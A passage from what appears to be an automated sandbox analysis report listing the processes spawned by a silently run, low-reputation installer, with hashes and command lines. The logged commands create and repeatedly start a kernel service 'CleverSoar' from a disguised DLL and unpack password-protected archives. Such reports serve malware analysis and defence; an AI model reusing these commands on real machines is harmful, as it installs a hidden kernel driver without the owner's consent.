                                        Wow64 process (32bit):false
                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                        Imagebase:0x7ff6d64d0000
                                        File size:862'208 bytes
                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Reputation:high
                                        Has exited:true

                                        General

                                        Target ID:5
                                        Start time:03:00:04
                                        Start date:23/12/2024
                                        Path:C:\Users\user\Desktop\#U5b89#U88c5#U52a9#U624b_2.0.6.exe
                                        Wow64 process (32bit):true
                                        Commandline:"C:\Users\user\Desktop\#U5b89#U88c5#U52a9#U624b_2.0.6.exe" /VERYSILENT
                                        Imagebase:0x580000
                                        File size:5'707'631 bytes
                                        MD5 hash:2FAB10855EFC0DC62A255FF1E6EC8FA6
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:Borland Delphi
                                        Reputation:low
                                        Has exited:false

                                        General

                                        Target ID:6
                                        Start time:03:00:06
                                        Start date:23/12/2024
                                        Path:C:\Users\user\AppData\Local\Temp\is-6SCB4.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmp
                                        Wow64 process (32bit):true
                                        Commandline:"C:\Users\user\AppData\Local\Temp\is-6SCB4.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmp" /SL5="$20442,4753239,845824,C:\Users\user\Desktop\#U5b89#U88c5#U52a9#U624b_2.0.6.exe" /VERYSILENT
                                        Imagebase:0xee0000
                                        File size:3'366'912 bytes
                                        MD5 hash:9902FA6D39184B87AED7D94A037912D8
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:Borland Delphi
                                        Antivirus matches:
                                        • Detection: 0%, ReversingLabs
                                        Reputation:moderate
                                        Has exited:true

                                        General

                                        Target ID:7
                                        Start time:03:00:08
                                        Start date:23/12/2024
                                        Path:C:\Windows\System32\cmd.exe
                                        Wow64 process (32bit):false
                                        Commandline:cmd /c start sc create CleverSoar displayname= CleverSoar binPath= "C:\Program Files (x86)\Windows NT\tProtect.dll" type= kernel start= auto
                                        Imagebase:0x7ff6d1f60000
                                        File size:289'792 bytes
                                        MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Reputation:high
                                        Has exited:true

                                        General

                                        Target ID:8
                                        Start time:03:00:08
                                        Start date:23/12/2024
                                        Path:C:\Windows\System32\sc.exe
                                        Wow64 process (32bit):false
                                        Commandline:sc create CleverSoar displayname= CleverSoar binPath= "C:\Program Files (x86)\Windows NT\tProtect.dll" type= kernel start= auto
                                        Imagebase:0x7ff7fb140000
                                        File size:72'192 bytes
                                        MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Reputation:high
                                        Has exited:true

                                        General

                                        Target ID:9
                                        Start time:03:00:08
                                        Start date:23/12/2024
                                        Path:C:\Windows\System32\conhost.exe
                                        Wow64 process (32bit):false
                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                        Imagebase:0x7ff6d64d0000
                                        File size:862'208 bytes
                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Reputation:high
                                        Has exited:true

                                        General

                                        Target ID:10
                                        Start time:03:00:08
                                        Start date:23/12/2024
                                        Path:C:\Program Files (x86)\Windows NT\7zr.exe
                                        Wow64 process (32bit):true
                                        Commandline:7zr.exe x -y res.dat -pad8dtyw9eyfd9aslyd9iald
                                        Imagebase:0xaf0000
                                        File size:831'200 bytes
                                        MD5 hash:84DC4B92D860E8AEA55D12B1E87EA108
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Antivirus matches:
                                        • Detection: 0%, ReversingLabs
                                        Reputation:moderate
                                        Has exited:true

                                        General

                                        Target ID:11
                                        Start time:03:00:09
                                        Start date:23/12/2024
                                        Path:C:\Windows\System32\conhost.exe
                                        Wow64 process (32bit):false
                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                        Imagebase:0x7ff6d64d0000
                                        File size:862'208 bytes
                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Reputation:high
                                        Has exited:true

                                        General

                                        Target ID:12
                                        Start time:03:00:09
                                        Start date:23/12/2024
                                        Path:C:\Program Files (x86)\Windows NT\7zr.exe
                                        Wow64 process (32bit):true
                                        Commandline:7zr.exe x -y locale3.dat -pasfasdf79yf9layslofs
                                        Imagebase:0xaf0000
                                        File size:831'200 bytes
                                        MD5 hash:84DC4B92D860E8AEA55D12B1E87EA108
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Has exited:true

                                        General

                                        Target ID:13
                                        Start time:03:00:09
                                        Start date:23/12/2024
                                        Path:C:\Windows\System32\conhost.exe
                                        Wow64 process (32bit):false
                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                        Imagebase:0x7ff6d64d0000
                                        File size:862'208 bytes
                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Has exited:true

                                        General

                                        Target ID:14
                                        Start time:03:00:09
                                        Start date:23/12/2024
                                        Path:C:\Windows\System32\cmd.exe
                                        Wow64 process (32bit):false
                                        Commandline:cmd /c start sc start CleverSoar
                                        Imagebase:0x7ff6d1f60000
                                        File size:289'792 bytes
                                        MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Has exited:true

                                        General

                                        Target ID:15
                                        Start time:03:00:09
                                        Start date:23/12/2024
                                        Path:C:\Windows\System32\sc.exe
                                        Wow64 process (32bit):false
                                        Commandline:sc start CleverSoar
                                        Imagebase:0x7ff7fb140000
                                        File size:72'192 bytes
                                        MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Has exited:true

                                        General

                                        Target ID:16
                                        Start time:03:00:10
                                        Start date:23/12/2024
                                        Path:C:\Windows\System32\conhost.exe
                                        Wow64 process (32bit):false
                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                        Imagebase:0x7ff6d64d0000
                                        File size:862'208 bytes
                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Has exited:true

                                        General

                                        Target ID:17
                                        Start time:03:00:10
                                        Start date:23/12/2024
                                        Path:C:\Windows\System32\cmd.exe
                                        Wow64 process (32bit):false
                                        Commandline:cmd /c start sc start CleverSoar
                                        Imagebase:0x7ff6d1f60000
                                        File size:289'792 bytes
                                        MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Has exited:true

                                        General

                                        Target ID:18
                                        Start time:03:00:10
                                        Start date:23/12/2024
                                        Path:C:\Windows\System32\sc.exe
                                        Wow64 process (32bit):false
                                        Commandline:sc start CleverSoar
                                        Imagebase:0x7ff7fb140000
                                        File size:72'192 bytes
                                        MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Has exited:true

                                        General

                                        Target ID:19
                                        Start time:03:00:10
                                        Start date:23/12/2024
                                        Path:C:\Windows\System32\conhost.exe
                                        Wow64 process (32bit):false
                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                        Imagebase:0x7ff6d64d0000
                                        File size:862'208 bytes
                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Has exited:true

                                        General

                                        Target ID:20
                                        Start time:03:00:10
                                        Start date:23/12/2024
                                        Path:C:\Windows\System32\cmd.exe
                                        Wow64 process (32bit):false
                                        Commandline:cmd /c start sc start CleverSoar
                                        Imagebase:0x7ff6d1f60000
                                        File size:289'792 bytes
                                        MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Has exited:true

                                        General

                                        Target ID:21
                                        Start time:03:00:10
                                        Start date:23/12/2024
                                        Path:C:\Windows\System32\sc.exe
                                        Wow64 process (32bit):false
                                        Commandline:sc start CleverSoar
                                        Imagebase:0x7ff7fb140000
                                        File size:72'192 bytes
                                        MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Has exited:true

                                        General

                                        Target ID:22
                                        Start time:03:00:10
                                        Start date:23/12/2024
                                        Path:C:\Windows\System32\conhost.exe
                                        Wow64 process (32bit):false
                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                        Imagebase:0x7ff6d64d0000
                                        File size:862'208 bytes
                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Has exited:true

                                        General

                                        Target ID:23
                                        Start time:03:00:10
                                        Start date:23/12/2024
                                        Path:C:\Windows\System32\wbem\WmiPrvSE.exe
                                        Wow64 process (32bit):false
                                        Commandline:C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
                                        Imagebase:0x7ff6ef0c0000
                                        File size:496'640 bytes
                                        MD5 hash:60FF40CFD7FB8FE41EE4FE9AE5FE1C51
                                        Has elevated privileges:true
                                        Has administrator privileges:false
                                        Programmed in:C, C++ or other language
                                        Has exited:false

                                        General

                                        Target ID:24
                                        Start time:03:00:10
                                        Start date:23/12/2024
                                        Path:C:\Windows\System32\cmd.exe
                                        Wow64 process (32bit):false
                                        Commandline:cmd /c start sc start CleverSoar
                                        Imagebase:0x7ff6d1f60000
                                        File size:289'792 bytes
                                        MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Has exited:true

                                        General

                                        Target ID:25
                                        Start time:03:00:10
                                        Start date:23/12/2024
                                        Path:C:\Windows\System32\sc.exe
                                        Wow64 process (32bit):false
                                        Commandline:sc start CleverSoar
                                        Imagebase:0x7ff7fb140000
                                        File size:72'192 bytes
                                        MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Has exited:true

                                        General

                                        Target ID:26
                                        Start time:03:00:10
                                        Start date:23/12/2024
                                        Path:C:\Windows\System32\conhost.exe
                                        Wow64 process (32bit):false
                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                        Imagebase:0x7ff6d64d0000
                                        File size:862'208 bytes
                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Has exited:true

                                        General

                                        Target ID:27
                                        Start time:03:00:10
                                        Start date:23/12/2024
                                        Path:C:\Windows\System32\cmd.exe
                                        Wow64 process (32bit):false
                                        Commandline:cmd /c start sc start CleverSoar
                                        Imagebase:0x7ff6d1f60000
                                        File size:289'792 bytes
                                        MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Has exited:true

                                        General

                                        Target ID:28
                                        Start time:03:00:10
                                        Start date:23/12/2024
                                        Path:C:\Windows\System32\sc.exe
                                        Wow64 process (32bit):false
                                        Commandline:sc start CleverSoar
                                        Imagebase:0x7ff6d64d0000
                                        File size:72'192 bytes
                                        MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Has exited:true

                                        General

                                        Target ID:29
                                        Start time:03:00:10
                                        Start date:23/12/2024
                                        Path:C:\Windows\System32\conhost.exe
                                        Wow64 process (32bit):false
                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                        Imagebase:0x7ff6d64d0000
                                        File size:862'208 bytes
                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Has exited:true

                                        General

                                        Target ID:30
                                        Start time:03:00:10
                                        Start date:23/12/2024
                                        Path:C:\Windows\System32\cmd.exe
                                        Wow64 process (32bit):false
                                        Commandline:cmd /c start sc start CleverSoar
                                        Imagebase:0x7ff6d1f60000
                                        File size:289'792 bytes
                                        MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Has exited:true

                                        General

                                        Target ID:31
                                        Start time:03:00:10
                                        Start date:23/12/2024
                                        Path:C:\Windows\System32\sc.exe
                                        Wow64 process (32bit):false
                                        Commandline:sc start CleverSoar
                                        Imagebase:0x7ff7fb140000
                                        File size:72'192 bytes
                                        MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Has exited:true

                                        General

                                        Target ID:32
                                        Start time:03:00:10
                                        Start date:23/12/2024
                                        Path:C:\Windows\System32\conhost.exe
                                        Wow64 process (32bit):false
                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                        Imagebase:0x7ff6d64d0000
                                        File size:862'208 bytes
                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Has exited:true

                                        General

                                        Target ID:33
                                        Start time:03:00:10
                                        Start date:23/12/2024
                                        Path:C:\Windows\System32\cmd.exe
                                        Wow64 process (32bit):false
                                        Commandline:cmd /c start sc start CleverSoar
                                        Imagebase:0x7ff6d1f60000
                                        File size:289'792 bytes
                                        MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Has exited:true

                                        General

                                        Target ID:34
                                        Start time:03:00:10
                                        Start date:23/12/2024
                                        Path:C:\Windows\System32\sc.exe
                                        Wow64 process (32bit):false
                                        Commandline:sc start CleverSoar
                                        Imagebase:0x7ff7fb140000
                                        File size:72'192 bytes
                                        MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Has exited:true

                                        General

                                        Target ID:35
                                        Start time:03:00:10
                                        Start date:23/12/2024
                                        Path:C:\Windows\System32\conhost.exe
                                        Wow64 process (32bit):false
                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                        Imagebase:0x7ff6d64d0000
                                        File size:862'208 bytes
                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Has exited:true

                                        General

                                        Target ID:36
                                        Start time:03:00:11
                                        Start date:23/12/2024
                                        Path:C:\Windows\System32\cmd.exe
                                        Wow64 process (32bit):false
                                        Commandline:cmd /c start sc start CleverSoar
                                        Imagebase:0x7ff6d1f60000
                                        File size:289'792 bytes
                                        MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Has exited:true

                                        General

                                        Target ID:37
                                        Start time:03:00:11
                                        Start date:23/12/2024
                                        Path:C:\Windows\System32\sc.exe
                                        Wow64 process (32bit):false
                                        Commandline:sc start CleverSoar
                                        Imagebase:0x7ff7fb140000
                                        File size:72'192 bytes
                                        MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Has exited:true

                                        General

                                        Target ID:38
                                        Start time:03:00:11
                                        Start date:23/12/2024
                                        Path:C:\Windows\System32\conhost.exe
                                        Wow64 process (32bit):false
                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                        Imagebase:0x7ff6d64d0000
                                        File size:862'208 bytes
                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Has exited:true

                                        General

                                        Target ID:39
                                        Start time:03:00:11
                                        Start date:23/12/2024
                                        Path:C:\Windows\System32\cmd.exe
                                        Wow64 process (32bit):false
                                        Commandline:cmd /c start sc start CleverSoar
                                        Imagebase:0x7ff6d1f60000
                                        File size:289'792 bytes
                                        MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Has exited:true

                                        General

                                        Target ID:40
                                        Start time:03:00:11
                                        Start date:23/12/2024
                                        Path:C:\Windows\System32\sc.exe
                                        Wow64 process (32bit):false
                                        Commandline:sc start CleverSoar
                                        Imagebase:0x7ff7fb140000
                                        File size:72'192 bytes
                                        MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Has exited:true

                                        General

                                        Target ID:41
                                        Start time:03:00:11
                                        Start date:23/12/2024
                                        Path:C:\Windows\System32\conhost.exe
                                        Wow64 process (32bit):false
                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                        Imagebase:0x7ff6d64d0000
                                        File size:862'208 bytes
                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Has exited:true

                                        General

                                        Target ID:42
                                        Start time:03:00:11
                                        Start date:23/12/2024
                                        Path:C:\Windows\System32\cmd.exe
                                        Wow64 process (32bit):false
                                        Commandline:cmd /c start sc start CleverSoar
                                        Imagebase:0x7ff6d1f60000
                                        File size:289'792 bytes
                                        MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Has exited:true

                                        General

                                        Target ID:43
                                        Start time:03:00:11
                                        Start date:23/12/2024
                                        Path:C:\Windows\System32\sc.exe
                                        Wow64 process (32bit):false
                                        Commandline:sc start CleverSoar
                                        Imagebase:0x7ff7fb140000
                                        File size:72'192 bytes
                                        MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Has exited:true

                                        General

                                        Target ID:44
                                        Start time:03:00:11
                                        Start date:23/12/2024
                                        Path:C:\Windows\System32\conhost.exe
                                        Wow64 process (32bit):false
                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                        Imagebase:0x7ff6d64d0000
                                        File size:862'208 bytes
                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Has exited:true

                                        General

                                        Target ID:45
                                        Start time:03:00:11
                                        Start date:23/12/2024
                                        Path:C:\Windows\System32\cmd.exe
                                        Wow64 process (32bit):false
                                        Commandline:cmd /c start sc start CleverSoar
                                        Imagebase:0x7ff6d1f60000
                                        File size:289'792 bytes
                                        MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Has exited:true

                                        General

                                        Target ID:46
                                        Start time:03:00:11
                                        Start date:23/12/2024
                                        Path:C:\Windows\System32\sc.exe
                                        Wow64 process (32bit):false
                                        Commandline:sc start CleverSoar
                                        Imagebase:0x7ff7fb140000
                                        File size:72'192 bytes
                                        MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Has exited:true

                                        General

                                        Target ID:47
                                        Start time:03:00:11
                                        Start date:23/12/2024
                                        Path:C:\Windows\System32\conhost.exe
                                        Wow64 process (32bit):false
                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                        Imagebase:0x7ff6d64d0000
                                        File size:862'208 bytes
                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Has exited:true

                                        General

                                        Target ID:48
                                        Start time:03:00:11
                                        Start date:23/12/2024
                                        Path:C:\Windows\System32\cmd.exe
                                        Wow64 process (32bit):false
                                        Commandline:cmd /c start sc start CleverSoar
                                        Imagebase:0x7ff6d1f60000
                                        File size:289'792 bytes
                                        MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Has exited:true

                                        General

                                        Target ID:49
                                        Start time:03:00:11
                                        Start date:23/12/2024
                                        Path:C:\Windows\System32\sc.exe
                                        Wow64 process (32bit):false
                                        Commandline:sc start CleverSoar
                                        Imagebase:0x7ff7fb140000
                                        File size:72'192 bytes
                                        MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Has exited:true

                                        General

                                        Target ID:50
                                        Start time:03:00:11
                                        Start date:23/12/2024
                                        Path:C:\Windows\System32\conhost.exe
                                        Wow64 process (32bit):false
                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                        Imagebase:0x7ff6d64d0000
                                        File size:862'208 bytes
                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Has exited:true

                                        General

                                        Target ID:51
                                        Start time:03:00:11
                                        Start date:23/12/2024
                                        Path:C:\Windows\System32\cmd.exe
                                        Wow64 process (32bit):false
                                        Commandline:cmd /c start sc start CleverSoar
                                        Imagebase:0x7ff6d1f60000
                                        File size:289'792 bytes
                                        MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Has exited:true

                                        General

                                        Target ID:52
                                        Start time:03:00:11
                                        Start date:23/12/2024
                                        Path:C:\Windows\System32\sc.exe
                                        Wow64 process (32bit):false
                                        Commandline:sc start CleverSoar
                                        Imagebase:0x7ff7fb140000
                                        File size:72'192 bytes
                                        MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Has exited:true

                                        General

                                        Target ID:53
                                        Start time:03:00:11
                                        Start date:23/12/2024
                                        Path:C:\Windows\System32\conhost.exe
                                        Wow64 process (32bit):false
                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                        Imagebase:0x7ff6d64d0000
                                        File size:862'208 bytes
                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Has exited:true

                                        General

                                        Target ID:54
                                        Start time:03:00:11
                                        Start date:23/12/2024
                                        Path:C:\Windows\System32\cmd.exe
                                        Wow64 process (32bit):false
                                        Commandline:cmd /c start sc start CleverSoar
                                        Imagebase:0x7ff6d1f60000
                                        File size:289'792 bytes
                                        MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Has exited:true

                                        General

                                        Target ID:55
                                        Start time:03:00:11
                                        Start date:23/12/2024
                                        Path:C:\Windows\System32\sc.exe
                                        Wow64 process (32bit):false
                                        Commandline:sc start CleverSoar
                                        Imagebase:0x7ff7fb140000
                                        File size:72'192 bytes
                                        MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Has exited:true

                                        General

                                        Target ID:56
                                        Start time:03:00:11
                                        Start date:23/12/2024
                                        Path:C:\Windows\System32\conhost.exe
                                        Wow64 process (32bit):false
                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                        Imagebase:0x7ff6d64d0000
                                        File size:862'208 bytes
                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Has exited:true

                                        General

                                        Target ID:57
                                        Start time:03:00:12
                                        Start date:23/12/2024
                                        Path:C:\Windows\System32\cmd.exe
                                        Wow64 process (32bit):false
                                        Commandline:cmd /c start sc start CleverSoar
                                        Imagebase:0x7ff6d1f60000
                                        File size:289'792 bytes
                                        MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Has exited:true

                                        General

                                        Target ID:58
                                        Start time:03:00:12
                                        Start date:23/12/2024
                                        Path:C:\Windows\System32\sc.exe
                                        Wow64 process (32bit):false
                                        Commandline:sc start CleverSoar
                                        Imagebase:0x7ff7fb140000
                                        File size:72'192 bytes
                                        MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Has exited:true

                                        General

                                        Target ID:59
                                        Start time:03:00:12
                                        Start date:23/12/2024
                                        Path:C:\Windows\System32\conhost.exe
                                        Wow64 process (32bit):false
                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                        Imagebase:0x7ff6d64d0000
                                        File size:862'208 bytes
                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Has exited:true

                                        General

                                        Target ID:60
                                        Start time:03:00:12
                                        Start date:23/12/2024
                                        Path:C:\Windows\System32\cmd.exe
                                        Wow64 process (32bit):false
                                        Commandline:cmd /c start sc start CleverSoar
                                        Imagebase:0x7ff6d1f60000
                                        File size:289'792 bytes
                                        MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Has exited:true

                                        General

                                        Target ID:61
                                        Start time:03:00:12
                                        Start date:23/12/2024
                                        Path:C:\Windows\System32\sc.exe
                                        Wow64 process (32bit):false
                                        Commandline:sc start CleverSoar
                                        Imagebase:0x7ff7fb140000
                                        File size:72'192 bytes
                                        MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Has exited:true

                                        General

                                        Target ID:62
                                        Start time:03:00:12
                                        Start date:23/12/2024
                                        Path:C:\Windows\System32\conhost.exe
                                        Wow64 process (32bit):false
                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                        Imagebase:0x7ff6d64d0000
                                        File size:862'208 bytes
                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Has exited:true

                                        General

                                        Target ID:63
                                        Start time:03:00:12
                                        Start date:23/12/2024
                                        Path:C:\Windows\System32\cmd.exe
                                        Wow64 process (32bit):false
                                        Commandline:cmd /c start sc start CleverSoar
                                        Imagebase:0x7ff6d1f60000
                                        File size:289'792 bytes
                                        MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Has exited:true

                                        General

                                        Target ID:64
                                        Start time:03:00:12
                                        Start date:23/12/2024
                                        Path:C:\Windows\System32\sc.exe
                                        Wow64 process (32bit):false
                                        Commandline:sc start CleverSoar
                                        Imagebase:0x7ff7fb140000
                                        File size:72'192 bytes
                                        MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Has exited:true

                                        General

                                        Target ID:65
                                        Start time:03:00:12
                                        Start date:23/12/2024
                                        Path:C:\Windows\System32\conhost.exe
                                        Wow64 process (32bit):false
                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                        Imagebase:0x7ff6d64d0000
                                        File size:862'208 bytes
                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Has exited:true

                                        General

                                        Target ID:66
                                        Start time:03:00:12
                                        Start date:23/12/2024
                                        Path:C:\Windows\System32\cmd.exe
                                        Wow64 process (32bit):false
                                        Commandline:cmd /c start sc start CleverSoar
                                        Imagebase:0x7ff6d1f60000
